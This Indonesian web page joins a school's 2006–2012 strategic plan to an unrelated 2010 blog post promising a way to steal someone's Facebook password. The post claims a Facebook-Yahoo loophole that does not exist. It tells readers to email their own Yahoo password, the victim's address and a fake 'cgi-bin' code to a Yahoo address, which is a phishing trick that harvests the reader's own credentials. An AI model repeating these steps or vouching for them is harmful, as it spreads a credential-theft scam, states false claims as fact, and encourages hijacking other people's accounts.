H. PROGRAM STRATEGIS Program strategis SMA Islam PB. Soedirman dalam 5 tahun ke depan (tahun pelajaran 2006/2007 s.d. 2011/2012) adalah : 1. Peningkatan dan pengembangan standar kompetensi kelulusan meliputi: pengembangan program SKL, perluasan dan pendalaman cakupan SKL nasional, perluasan dan pendalaman cakupan UMPTN / SMNPTN dengan target tamatan SMA Islam PB. Soedirman diterima di perguruan tinggi negeri meningkat 10 % setiap tahun; 2. Mengembangkan kurikulum (standar isi) berdiferensiasi yang beroriantasi kepada kompetensi setiap peserta didik (student Centre), peserta didik yang mempunyai kemampuan kognetif kurang cepat dibimbing sampai mencapai standar isi dan peserta didik yang mempunyai kemampuan kognetif lebih cepat diberikan akselarasi pebelajaran dengan harapan lulusan SMA Islam PB Soedirman dapat bersaing dengan SMA-SMA terbaik di Indonesia; 3. Mengembangkan kemampuan akademik setiap peserta didik melalui desain-desai proses pembelajaran berbasis pada teknologi, dan mendesain program pengembangan pembelajaran melalui media IT(teknologi komputer) dan dan internet (ICT); 4. Peningkatan dan pengembangan standar pendidik dan kependidikan meliputi: SDM yang kompeten dan berkualifikasi pendidik serta jumlahnya yang sesuai standar. 5. Peningkatan dan pengembangan standar sarana dan prasarana meliputi: pengembangan fasilitas sekolah berstandar nasional, terpenuhinya fasilitas pokok dan fasilitas pendukung berstandar nasional. 6. Peningkatan dan pengembangan standar pengelolaan meliputi: model-model manajemen sesuai MBS. 7. Peningkatan dan pengembangan standar pembiayaan meliputi: sumber-sumber pembiayaan penyelenggaraan pendidikan dan penggalangan dana berstandar nasional per-anak per-tahun. 8. Peningkatan dan pengembangan standar penilaian meliputi: standar penilaian dalam berbagai bidang pelajaran, model penilaian sesuai tuntutan kurikulum dan dokumen penilaian berstandar nasional.

cara mencuri password facebook orang lain ( hack)


by SENI HACKER on Thursday, February 18, 2010 at 12:30pm Tak banyak yang tau kalau ternyata facebook dan yahoo menjalin sebuah kerja sama yang unik, hal ini baru saya tau beberapa waktu yang lalu dari seorang kawan yg kebetulan juga baru mendapatkan informasi ini. Dan dengan memanfaatkan celah dari kerja sama inilah kita dapat mengetahui password dari account facebook seseorang dengan sangat mudah. Saya sendiri sudah mencoba beberapa cara dan selalu gagal, sudah men-download berbagai macam software dalam usaha ini tapi tetap saja tak berhasil mendapatkan password account yg di incar. Tapi ternyata, setelah mengetahui celah ini, saya sampai merasa bodoh sendiri. Karena ternyata sangat mudah mendapatkan password facebook seseorang jika kita tau cara yg tepat. Dan sama sekali tidak memerlukan software!! oke akan saya jelaskan caranya.. 1. login ke yahoo. ingat..!! account yahoo anda harus berumur minimal 30 hari agar cara ini bekerja dengan baik dan harus merupakan alamat yg anda gunakan pada saat registrasi facebook. Yahoo akan dengan otomatis menolak email yg tidak terhubung ke Facebook. 2. Jika sudah masuk ke yahoo, tulislah sebuah email yang anda tujukan untuk staff facebook di Yahoo dengan alamat email: facebook_reserved@yahoo.com server Yahoo akan mengirimkan secara otomatis password terlupakan tersebut. 3. Pada baris SUBJECT masukkan/ketik kalimat : PASSWORD RETRIEVE 4. lalu pada baris pertama mail anda tuliskan alamat email korban yg akan anda hack 5. Pada baris kedua masukkan alamat email yg anda gunakan 6. Pada baris ketiga tuliskan password yahoo anda. Ingat, password yang anda masukkan inilah yang akan menentukan berhasil tidaknya usaha anda karena sever yahoo akan secara otomatis melakukan login untuk meng-

konfirmasi valid atau tidaknya email andan, dengan kata lain server yahoo akan mengextract password dari email calon korban anda dengan menggunakan password anda. Dan proses ini sangat aman karena anda mengirim email kepada mesin dan bukan kepada seseorang. 7. Dan di baris terakhir masukkan kata : cgi-bin/$et76431&pwrsa ini merupakan kode yang dibutuhkan untuk men-cocokkan email anda dengan email calon korban yg anda minta password nnya. jadi jika misalkan email anda adalah cinta.laura@yahoo.com dan email korban anda adalah krisdayanti@yahoo.com dan password anda adalah : rahasia maka email yg anda tulis nantinya adalah: To: facebook_reserved@yahoo.com bcc: cc: (biarkan kosong) Subject: password retrieve krisdayanti@yahoo.com cinta.laura@yahoo.com rahasia cgi-bin/$et76431&pwrsa selanjutnya setelah anda mengirim email tersebut anda akan mendapatkan balasan secara otomatis dari yahoo dengan dengan subject: System Reg Message biasanya yahoo memerlukan waktu sekitar 30 menit untuk mengkonfirmasikan dan meng-extract password yang anda minta. selamat mencoba

You might also like